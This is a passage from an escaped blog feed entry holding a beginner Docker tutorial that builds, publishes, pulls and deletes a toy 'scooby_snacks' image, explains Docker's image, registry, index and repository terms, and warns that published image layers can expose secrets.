&amp;quot;StdinOnce&amp;quot;: false,&#xA;        &amp;quot;Tty&amp;quot;: false,&#xA;        &amp;quot;User&amp;quot;: &amp;quot;&amp;quot;,&#xA;        &amp;quot;Volumes&amp;quot;: {},&#xA;        &amp;quot;VolumesFrom&amp;quot;: &amp;quot;&amp;quot;,&#xA;        &amp;quot;WorkingDir&amp;quot;: &amp;quot;&amp;quot;&#xA;    },&#xA;    &amp;quot;container&amp;quot;: &amp;quot;86664242766c5548f8118716e873835c171811176a710e425c1fcf1fa367b505&amp;quot;,&#xA;    &amp;quot;container_config&amp;quot;: {&#xA;        &amp;quot;AttachStderr&amp;quot;: false,&#xA;        &amp;quot;AttachStdin&amp;quot;: false,&#xA;        &amp;quot;AttachStdout&amp;quot;: false,&#xA;        &amp;quot;Cmd&amp;quot;: [&#xA;            &amp;quot;/bin/sh&amp;quot;,&#xA;            &amp;quot;-c&amp;quot;,&#xA;            &amp;quot;touch scooby_snacks.txt&amp;quot;&#xA;        ],&#xA;        &amp;quot;CpuShares&amp;quot;: 0,&#xA;        &amp;quot;Dns&amp;quot;: null,&#xA;        &amp;quot;Domainname&amp;quot;: &amp;quot;&amp;quot;,&#xA;        &amp;quot;Entrypoint&amp;quot;: [],&#xA;        &amp;quot;Env&amp;quot;: [&#xA;            &amp;quot;HOME=/&amp;quot;,&#xA;            &amp;quot;PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin&amp;quot;&#xA;        ],&#xA;        &amp;quot;ExposedPorts&amp;quot;: {},&#xA;        &amp;quot;Hostname&amp;quot;: &amp;quot;86664242766c&amp;quot;,&#xA;        &amp;quot;Image&amp;quot;: &amp;quot;8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c&amp;quot;,&#xA;        &amp;quot;Memory&amp;quot;: 0,&#xA;        &amp;quot;MemorySwap&amp;quot;: 0,&#xA;        &amp;quot;NetworkDisabled&amp;quot;: false,&#xA;        &amp;quot;OpenStdin&amp;quot;: false,&#xA;        &amp;quot;PortSpecs&amp;quot;: null,&#xA;        &amp;quot;StdinOnce&amp;quot;: false,&#xA;        &amp;quot;Tty&amp;quot;: false,&#xA;        &amp;quot;User&amp;quot;: &amp;quot;&amp;quot;,&#xA;        &amp;quot;Volumes&amp;quot;: {},&#xA;        &amp;quot;VolumesFrom&amp;quot;: &amp;quot;&amp;quot;,&#xA;        &amp;quot;WorkingDir&amp;quot;: &amp;quot;&amp;quot;&#xA;    },&#xA;    &amp;quot;created&amp;quot;: &amp;quot;2013-12-13T06:27:03.234029255Z&amp;quot;,&#xA;    &amp;quot;docker_version&amp;quot;: &amp;quot;0.6.7&amp;quot;,&#xA;    &amp;quot;id&amp;quot;: &amp;quot;91acef3a5936769f763729529e736681e5079dc6ddf6ab0e61c327a93d163df9&amp;quot;,&#xA;    &amp;quot;parent&amp;quot;: &amp;quot;8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c&amp;quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo cat /var/lib/docker/graph/91acef3a5936769f763729529e736681e5079dc6ddf6ab0e61c327a93d163df9/layersize&#xA;12288&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo ls -al /var/lib/docker/graph/91acef3a5936769f763729529e736681e5079dc6ddf6ab0e61c327a93d163df9/layer&#xA;total 16&#xA;drwxr-xr-x 4 root root 4096 Dec 13 06:27 .&#xA;drwxr-xr-x 3 root root 4096 Dec 13 06:27 ..&#xA;-rw-r--r-- 1 root root    0 Dec 13 06:27 scooby_snacks.txt&#xA;-r--r--r-- 1 root root    0 Dec 13 06:27 .wh..wh.aufs&#xA;drwx------ 2 root root 4096 Dec 13 06:27 .wh..wh.orph&#xA;drwx------ 2 root root 4096 Dec 13 06:27 .wh..wh.plnk&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Our tiny change had a big impact! Notice that Docker only kept the &lt;em&gt;differences&lt;/em&gt; from the base image. This is the key to the &lt;em&gt;layer&lt;/em&gt; concept.&lt;/p&gt;&#xA;&lt;h3 id=&#34;run-it&#34;&gt;Run it!&lt;/h3&gt;&#xA;&lt;p&gt;We can now run our new image and try it out. We&#39;ll just run an interactive &lt;code&gt;bash&lt;/code&gt; prompt for now.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ docker run -i -t scooby_snacks /bin/bash&#xA;root@1f8602a7d589:/# ls -al&#xA;total 12308&#xA;drwxr-xr-x  30 root root     4096 Dec 13 06:43 .&#xA;drwxr-xr-x  30 root root     4096 Dec 13 06:43 ..&#xA;-rw-------   1 root root      208 Dec 13 06:43 .dockerenv&#xA;-rwxr-xr-x   1 root root 12516574 Nov 22 02:34 .dockerinit&#xA;drwxr-xr-x   2 root root     4096 Apr 11  2013 bin&#xA;drwxr-xr-x   2 root root     4096 Apr 19  2012 boot&#xA;drwxr-xr-x   6 root root     4096 Nov 22 06:52 dev&#xA;drwxr-xr-x  41 root root     4096 Nov 22 06:52 etc&#xA;drwxr-xr-x   2 root root     4096 Apr 19  2012 home&#xA;drwxr-xr-x  11 root root     4096 Nov 22 06:51 lib&#xA;drwxr-xr-x   2 root root     4096 Nov 22 06:51 lib64&#xA;drwxr-xr-x   2 root root     4096 Apr 11  2013 media&#xA;drwxr-xr-x   2 root root     4096 Apr 19  2012 mnt&#xA;drwxr-xr-x   2 root root     4096 Apr 11  2013 opt&#xA;dr-xr-xr-x 102 root root        0 Dec 13 06:43 proc&#xA;drwx------   2 root root     4096 Nov 22 06:51 root&#xA;drwxr-xr-x   4 root root     4096 Nov 22 06:51 run&#xA;drwxr-xr-x   2 root root     4096 Nov 22 06:51 sbin&#xA;-rw-r--r--   1 root root        0 Dec 13 06:27 scooby_snacks.txt&#xA;drwxr-xr-x   2 root root     4096 Mar  5  2012 selinux&#xA;drwxr-xr-x   2 root root     4096 Apr 11  2013 srv&#xA;dr-xr-xr-x  13 root root        0 Dec 13 06:43 sys&#xA;drwxrwxrwt   2 root root     4096 Apr 11  2013 tmp&#xA;drwxr-xr-x  10 root root     4096 Nov 22 06:51 usr&#xA;drwxr-xr-x  11 root root     4096 Nov 22 06:51 var&#xA;root@1f8602a7d589:/#&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The effects of our &lt;code&gt;RUN touch scooby_snacks.txt&lt;/code&gt; command in the &lt;code&gt;Dockerfile&lt;/code&gt; are exactly as expected.&lt;/p&gt;&#xA;&lt;h3 id=&#34;publish-it&#34;&gt;Publish it!&lt;/h3&gt;&#xA;&lt;p&gt;Until now, we&#39;ve been doing everything locally and not interacting with the outside world at all. This is great, we can work up a perfect &lt;code&gt;Dockerfile&lt;/code&gt; before we go live. That said, I&#39;m pretty happy with this one now, and I&#39;m ready to publish it.&lt;/p&gt;&#xA;&lt;p&gt;If you haven&#39;t already, make sure you &lt;a href=&#34;https://index.docker.io/account/signup/&#34;&gt;make an account&lt;/a&gt;, and then login with &lt;code&gt;docker login&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ docker login&#xA;Username: thoward&#xA;Password:&#xA;Email: thoward37@gmail.com&#xA;Login Succeeded&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Publish the image with &lt;code&gt;docker push scooby_snacks&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ docker push scooby_snacks&#xA;2013/12/13 06:49:36 Impossible to push a &amp;quot;root&amp;quot; repository. Please rename your repository in &amp;lt;user&amp;gt;/&amp;lt;repo&amp;gt; (ex: thoward/scooby_snacks)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Oops. Docker Index won&#39;t let us publish without our username in the repository name. No big deal.&lt;/p&gt;&#xA;&lt;p&gt;Rebuild this with the correct username using &lt;code&gt;docker build -t thoward/scooby_snacks .&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ docker build -t thoward/scooby_snacks .&#xA;Uploading context 64184320 bytes&#xA;Step 1 : FROM ubuntu&#xA; ---&amp;gt; 8dbd9e392a96&#xA;Step 2 : RUN touch scooby_snacks.txt&#xA; ---&amp;gt; Using cache&#xA; ---&amp;gt; 91acef3a5936&#xA;Successfully built 91acef3a5936&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Nice! The message &lt;em&gt;&amp;quot;Using cache&amp;quot;&lt;/em&gt; means Docker was smart enough to know that we didn&#39;t really change the image, so it didn&#39;t bother rebuilding it.&lt;/p&gt;&#xA;&lt;p&gt;Let&#39;s try publishing again, but this time with the correct repository name:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ docker push thoward/scooby_snacks&#xA;The push refers to a repository [thoward/scooby_snacks] (len: 1)&#xA;Sending image list&#xA;Pushing repository thoward/scooby_snacks (1 tags)&#xA;Pushing 8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c&#xA;Image 8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c already pushed, skipping&#xA;Pushing tags for rev [8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c] on {https://registry-1.docker.io/v1/repositories/thoward/scooby_snacks/tags/latest}&#xA;Pushing 91acef3a5936769f763729529e736681e5079dc6ddf6ab0e61c327a93d163df9&#xA;&#xA;&#xA;Pushing tags for rev [91acef3a5936769f763729529e736681e5079dc6ddf6ab0e61c327a93d163df9] on {https://registry-1.docker.io/v1/repositories/thoward/scooby_snacks/tags/latest}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now that it&#39;s published, it should show up with &lt;code&gt;docker search&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ docker search scooby_snacks&#xA;NAME                    DESCRIPTION   STARS     OFFICIAL   TRUSTED&#xA;thoward/scooby_snacks                 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;There it is. Next, let&#39;s cleanup a bit and delete the old root level one:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ docker images&#xA;REPOSITORY              TAG                 IMAGE ID            CREATED             SIZE&#xA;scooby_snacks           latest              91acef3a5936        30 minutes ago      12.29 kB (virtual 131.3 MB)&#xA;thoward/scooby_snacks   latest              91acef3a5936        30 minutes ago      12.29 kB (virtual 131.3 MB)&#xA;ubuntu                  12.04               8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu                  latest              8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu                  precise             8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu                  12.10               b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)&#xA;ubuntu                  quantal             b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)&#xA;&#xA;$ docker rmi scooby_snacks&#xA;Untagged: 91acef3a5936769f763729529e736681e5079dc6ddf6ab0e61c327a93d163df9&#xA;&#xA;$ docker images&#xA;REPOSITORY              TAG                 IMAGE ID            CREATED             SIZE&#xA;thoward/scooby_snacks   latest              91acef3a5936        29 minutes ago      12.29 kB (virtual 131.3 MB)&#xA;ubuntu                  12.04               8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu                  latest              8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu                  precise             8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu                  12.10               b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)&#xA;ubuntu                  quantal             b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Ok, that one is gone.&lt;/p&gt;&#xA;&lt;p&gt;Also, to be honest, this is not a very interesting image to share publicly, and we don&#39;t want to look like n00bs, so let&#39;s delete it as well.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ docker rmi thoward/scooby_snacks&#xA;Untagged: 91acef3a5936769f763729529e736681e5079dc6ddf6ab0e61c327a93d163df9&#xA;Deleted: 91acef3a5936769f763729529e736681e5079dc6ddf6ab0e61c327a93d163df9&#xA;&#xA;$ docker images&#xA;REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE&#xA;ubuntu              12.04               8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu              latest              8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu              precise             8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu              12.10               b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)&#xA;ubuntu              quantal             b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This time, since Docker realized it was the last reference to that image ID, &lt;code&gt;docker rmi&lt;/code&gt; has an additional message indicating that it deleted it instead of just &#39;untagging&#39; it.&lt;/p&gt;&#xA;&lt;p&gt;But wait! It is still public at the Docker Index, isn&#39;t it? Let&#39;s check:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ docker search scooby_snacks&#xA;NAME                    DESCRIPTION   STARS     OFFICIAL   TRUSTED&#xA;thoward/scooby_snacks                 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Hmm.. Well this is handy, before we delete it, we can try &lt;code&gt;docker pull&lt;/code&gt; and fetch it down like a &amp;quot;real&amp;quot; image and run it.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ docker pull thoward/scooby_snacks&#xA;Pulling repository thoward/scooby_snacks&#xA;91acef3a5936: Download complete&#xA;8dbd9e392a96: Download complete&#xA;&#xA;$ docker run -i -t thoward/scooby_snacks /bin/bash&#xA;root@90f6546bf3b7:/# ls -al&#xA;total 12308&#xA;drwxr-xr-x  30 root root     4096 Dec 13 07:03 .&#xA;drwxr-xr-x  30 root root     4096 Dec 13 07:03 ..&#xA;-rw-------   1 root root      208 Dec 13 07:03 .dockerenv&#xA;-rwxr-xr-x   1 root root 12516574 Nov 22 02:34 .dockerinit&#xA;drwxr-xr-x   2 root root     4096 Apr 11  2013 bin&#xA;drwxr-xr-x   2 root root     4096 Apr 19  2012 boot&#xA;drwxr-xr-x   6 root root     4096 Nov 22 06:52 dev&#xA;drwxr-xr-x  41 root root     4096 Nov 22 06:52 etc&#xA;drwxr-xr-x   2 root root     4096 Apr 19  2012 home&#xA;drwxr-xr-x  11 root root     4096 Nov 22 06:51 lib&#xA;drwxr-xr-x   2 root root     4096 Nov 22 06:51 lib64&#xA;drwxr-xr-x   2 root root     4096 Apr 11  2013 media&#xA;drwxr-xr-x   2 root root     4096 Apr 19  2012 mnt&#xA;drwxr-xr-x   2 root root     4096 Apr 11  2013 opt&#xA;dr-xr-xr-x 105 root root        0 Dec 13 07:03 proc&#xA;drwx------   2 root root     4096 Nov 22 06:51 root&#xA;drwxr-xr-x   4 root root     4096 Nov 22 06:51 run&#xA;drwxr-xr-x   2 root root     4096 Nov 22 06:51 sbin&#xA;-rw-r--r--   1 root root        0 Dec 13 06:27 scooby_snacks.txt&#xA;drwxr-xr-x   2 root root     4096 Mar  5  2012 selinux&#xA;drwxr-xr-x   2 root root     4096 Apr 11  2013 srv&#xA;dr-xr-xr-x  13 root root        0 Dec 13 07:03 sys&#xA;drwxrwxrwt   2 root root     4096 Apr 11  2013 tmp&#xA;drwxr-xr-x  10 root root     4096 Nov 22 06:51 usr&#xA;drwxr-xr-x  11 root root     4096 Nov 22 06:51 var&#xA;root@90f6546bf3b7:/#&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It works!&lt;/p&gt;&#xA;&lt;h3 id=&#34;deleting-a-published-repository&#34;&gt;Deleting a Published Repository&lt;/h3&gt;&#xA;&lt;p&gt;Unfortunately, to delete it from the public index/registry, we have to use the web interface, not the command-line.&lt;/p&gt;&#xA;&lt;p&gt;First, &lt;a href=&#34;https://index.docker.io/account/login/&#34;&gt;login via the web&lt;/a&gt; then navigate to the repository at&#xA;&lt;a href=&#34;https://index.docker.io/u/thoward/scooby_snacks/&#34;&gt;https://index.docker.io/u/thoward/scooby_snacks/&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;screen-1.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Click on &#39;Settings&#39; tab, then &#39;Delete Repository&#39; tab, then the &#39;Delete Repo&#39; button.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;screen-2.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Back on the command-line we can verify it&#39;s gone with &lt;code&gt;docker search scooby_snacks&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ docker search scooby_snacks&#xA;NAME      DESCRIPTION   STARS     OFFICIAL   TRUSTED&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But of course, since we never deleted the local version of it after we pulled it back down, it&#39;s still going to show up in &lt;code&gt;docker images&lt;/code&gt;, since we have a local copy:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ docker images&#xA;REPOSITORY              TAG                 IMAGE ID            CREATED             SIZE&#xA;thoward/scooby_snacks   latest              91acef3a5936        46 minutes ago      12.29 kB (virtual 131.3 MB)&#xA;ubuntu                  12.04               8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu                  latest              8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu                  precise             8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu                  12.10               b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)&#xA;ubuntu                  quantal             b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So to completely remove it we need to run &lt;code&gt;docker rmi&lt;/code&gt; again.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ docker rmi thoward/scooby_snacks&#xA;Untagged: 91acef3a5936769f763729529e736681e5079dc6ddf6ab0e61c327a93d163df9&#xA;Deleted: 91acef3a5936769f763729529e736681e5079dc6ddf6ab0e61c327a93d163df9&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Not to worry, we can always rebuild it with our &lt;code&gt;Dockerfile&lt;/code&gt;. :)&lt;/p&gt;&#xA;&lt;h3 id=&#34;important-security-lesson&#34;&gt;Important Security Lesson&lt;/h3&gt;&#xA;&lt;p&gt;It&#39;s really important to consider the security implications of what we just saw though.&lt;/p&gt;&#xA;&lt;p&gt;Even if a Docker image is deleted from the Docker Index &lt;em&gt;it may still be out there on someones machine&lt;/em&gt;. There&#39;s no way to change that.&lt;/p&gt;&#xA;&lt;p&gt;Also, as we saw when looking at the files we have locally, it&#39;s not quite an &amp;quot;opaque binary&amp;quot; image. All the information from the Dockerfile was in the JSON file for the image, and the artifacts of those commands are in the layer, as accessible as a filesystem. If you accidentally published a password or key, or some other critical secret, there&#39;s no getting it back, and people can find as easily as they can find anything else in a published open source code base.&lt;/p&gt;&#xA;&lt;p&gt;Be very careful about what you&#39;re publishing. If you do accidentally publish a secret, take it down right away and update credentials on whatever systems it might have compromised.&lt;/p&gt;&#xA;&lt;h2 id=&#34;conclusion&#34;&gt;Conclusion&lt;/h2&gt;&#xA;&lt;p&gt;Docker can be a bit confusing with its terminology, but once you wrap your head around the basic workflow described here, it should be very easy to be in-control of what you&#39;re building, knowing exactly when and how you share that with the world.&lt;/p&gt;&#xA;</summary>
		<content type="html">&lt;p&gt;If you&#39;re just starting out with &lt;a href=&#34;http://docker.io&#34;&gt;Docker&lt;/a&gt;, it&#39;s super easy to follow the examples, get started and run a few things. However, moving to the next step, making your own Dockerfiles, can be a bit confusing. One of the more common points of confusion seems to be:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Where are my Docker images stored?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h4 id=&#34;--everyone&#34;&gt;- Everyone&lt;/h4&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;I know this certainly left me scratching my head a bit. Even worse, as a n00b, the last thing you want to do is publish your tinkering on the &lt;a href=&#34;https://index.docker.io/&#34;&gt;public Docker Index&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Checkout my awesome new Docker image &lt;code&gt;thoward/i_have_no_idea_what_im_doing&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Yeah. Not really what I want to do.&lt;/p&gt;&#xA;&lt;p&gt;Even worse, for quite a while there was no way to delete something that you had published, so your shamefully awkward learning process was up there for good. Luckily, deleting published Docker repositories is now quite easy.&lt;/p&gt;&#xA;&lt;p&gt;So let me start with this small assurance; &lt;em&gt;Nothing you do will become public&lt;/em&gt; especially if:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You haven&#39;t made an account on the public index.&lt;/li&gt;&#xA;&lt;li&gt;You haven&#39;t run &lt;code&gt;docker login&lt;/code&gt; to authenticate via the command-line client.&lt;/li&gt;&#xA;&lt;li&gt;You don&#39;t run &lt;code&gt;docker push&lt;/code&gt;, to push an image up to the index.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2 id=&#34;vocabulary&#34;&gt;Vocabulary&lt;/h2&gt;&#xA;&lt;p&gt;One of the things that contributes to much of the confusion around Docker is the language that&#39;s used. There&#39;s a lot of terminology which seem to overlap, or is a bit ambiguous, used somewhat incorrectly, or has a well-established meaning that is different from how Docker uses it.&lt;/p&gt;&#xA;&lt;p&gt;I&#39;ll try to clear those up here, in a quick vocabulary lesson.&lt;/p&gt;&#xA;&lt;h3 id=&#34;image-vs-dockerfile&#34;&gt;Image vs Dockerfile&lt;/h3&gt;&#xA;&lt;p&gt;This one is the least confusing, but it&#39;s an important distinction. Docker uses &lt;em&gt;images&lt;/em&gt; to run your code, not the &lt;em&gt;Dockerfile&lt;/em&gt;. The &lt;em&gt;Dockerfile&lt;/em&gt; is used to build the image when you run &lt;code&gt;docker build&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;If you go browsing around on the Docker Index, you&#39;ll see lots of images listed there, but weirdly, you can&#39;t see the &lt;em&gt;Dockerfile&lt;/em&gt; that built them. The image is an &lt;em&gt;opaque asset&lt;/em&gt; that is compiled from the &lt;em&gt;Dockerfile&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;When you run &lt;code&gt;docker push&lt;/code&gt; to publish an image, it&#39;s not publishing your source code, it&#39;s publishing the image that was built from your source code.&lt;/p&gt;&#xA;&lt;h3 id=&#34;registry-vs-index&#34;&gt;Registry vs Index&lt;/h3&gt;&#xA;&lt;p&gt;The next weird thing is the idea of a &lt;em&gt;Registry&lt;/em&gt; and an &lt;em&gt;Index&lt;/em&gt;, and how these are separate things.&lt;/p&gt;&#xA;&lt;p&gt;An &lt;em&gt;index&lt;/em&gt; manages user accounts, permissions, search, tagging, and all that nice stuff that&#39;s in the public web interface.&lt;/p&gt;&#xA;&lt;p&gt;A &lt;em&gt;registry&lt;/em&gt; stores and serves up the actual image assets, and it delegates authentication to the &lt;em&gt;index&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;When you run &lt;code&gt;docker search&lt;/code&gt;, it&#39;s searching the &lt;em&gt;index&lt;/em&gt;, not the &lt;em&gt;registry&lt;/em&gt;. In fact, it might be searching &lt;em&gt;multiple registries&lt;/em&gt; that the index is aware of.&lt;/p&gt;&#xA;&lt;p&gt;When you run &lt;code&gt;docker push&lt;/code&gt; or &lt;code&gt;docker pull&lt;/code&gt;, the &lt;em&gt;index&lt;/em&gt; determines if you are allowed to access or modify the image, but the &lt;em&gt;registry&lt;/em&gt; is the piece that stores it or sends it down the wire to you after the &lt;em&gt;index&lt;/em&gt; approves the operation. Also, the &lt;em&gt;index&lt;/em&gt; figures out which &lt;em&gt;registry&lt;/em&gt; that particular image lives in and forwards the request appropriately.&lt;/p&gt;&#xA;&lt;p&gt;Beyond that, when you&#39;re working locally and running commands like &lt;code&gt;docker images&lt;/code&gt;, you&#39;re interacting with something that is neither an index or a registry, but a little of both.&lt;/p&gt;&#xA;&lt;h3 id=&#34;repository&#34;&gt;Repository&lt;/h3&gt;&#xA;&lt;p&gt;Docker&#39;s use of this word is similar to its use at &lt;a href=&#34;http://github.com&#34;&gt;Github&lt;/a&gt;, and other source control systems, but also, kind of not.&lt;/p&gt;&#xA;&lt;p&gt;Three common head-scratching questions are:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What&#39;s the difference between a repository and a registry?&lt;/li&gt;&#xA;&lt;li&gt;What&#39;s the difference between a repository and an image?&lt;/li&gt;&#xA;&lt;li&gt;What&#39;s the difference between a repository and an index username?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;In fact, this is a problem, because a &lt;em&gt;repository&lt;/em&gt; is all of those things and not really any of them either. Further, when you run &lt;code&gt;docker images&lt;/code&gt; you get output like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ docker images&#xA;REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE&#xA;ubuntu              12.04               8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu              latest              8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu              precise             8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu              12.10               b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)&#xA;ubuntu              quantal             b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So, the list of &lt;em&gt;images&lt;/em&gt; seems to be a list of repositories? Huh? Actually the images are the GUIDs, but that&#39;s not how you interact with them.&lt;/p&gt;&#xA;&lt;p&gt;Let&#39;s start over with this.&lt;/p&gt;&#xA;&lt;p&gt;When you run &lt;code&gt;docker build&lt;/code&gt; or &lt;code&gt;docker commit&lt;/code&gt;, you can specify a name for the &lt;em&gt;image&lt;/em&gt;. The name is usually in the format of &lt;code&gt;username/image_name&lt;/code&gt;, but it doesn&#39;t have to be. It could be anything, and it could even be the same as something well known and published.&lt;/p&gt;&#xA;&lt;p&gt;However, when the time comes to &lt;code&gt;docker push&lt;/code&gt;, the &lt;em&gt;index&lt;/em&gt; will look at the name, and will check to see if it has a matching &lt;em&gt;repository&lt;/em&gt;. If it does, it will check to see if you have access to that &lt;em&gt;repository&lt;/em&gt;, and if so, allow you to push the new version of the &lt;em&gt;image&lt;/em&gt; to it. So, a &lt;em&gt;registry&lt;/em&gt; holds a collection of named &lt;em&gt;repositories&lt;/em&gt;, which themselves are a &lt;em&gt;collection of images&lt;/em&gt; tracked by GUIDs. This is also where &lt;em&gt;tags&lt;/em&gt; come in. You can tag an image, and store multiple versions of that image with different GUIDs in a single named &lt;em&gt;repository&lt;/em&gt;, access different tagged versions of an image with a special syntax like &lt;code&gt;username/image_name:tag&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ docker images&#xA;REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE&#xA;ubuntu              12.04               8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu              latest              8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu              precise             8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)&#xA;ubuntu              12.10               b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)&#xA;ubuntu              quantal             b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If we look at the output from &lt;code&gt;docker images&lt;/code&gt; again, now it makes a little more sense. We have five different versions of the image named &lt;code&gt;ubuntu&lt;/code&gt;, each one tagged slightly differently. The repository holds all of those under that name &lt;code&gt;ubuntu&lt;/code&gt;. So, while it may seem like &lt;code&gt;ubuntu&lt;/code&gt; is an &lt;em&gt;image name&lt;/em&gt;, it&#39;s actually a &lt;em&gt;repository name&lt;/em&gt;, indicating where it came from, or where it should go during a push.&lt;/p&gt;&#xA;&lt;p&gt;Further, the repository name has a specific schema to it. An &lt;em&gt;index&lt;/em&gt; can parse out the username from first part, and figure out where it is.&lt;/p&gt;&#xA;&lt;p&gt;So, this the confusing part: Suppose there&#39;s a Docker image called &lt;code&gt;thoward/scooby_snacks&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The official &amp;quot;repository name&amp;quot; is &lt;code&gt;thoward/scooby_snacks&lt;/code&gt;, even though we would normally think of the repository as just being &lt;code&gt;scooby_snacks&lt;/code&gt; (eg, in GitHub, or elsewhere).&lt;/p&gt;&#xA;&lt;p&gt;In fact, when the Docker documentation refers to a &lt;em&gt;repository&lt;/em&gt;, it sometimes means the whole thing, username included, and sometimes only means the part after the username.&lt;/p&gt;&#xA;&lt;p&gt;That&#39;s because some repositories don&#39;t have usernames (like 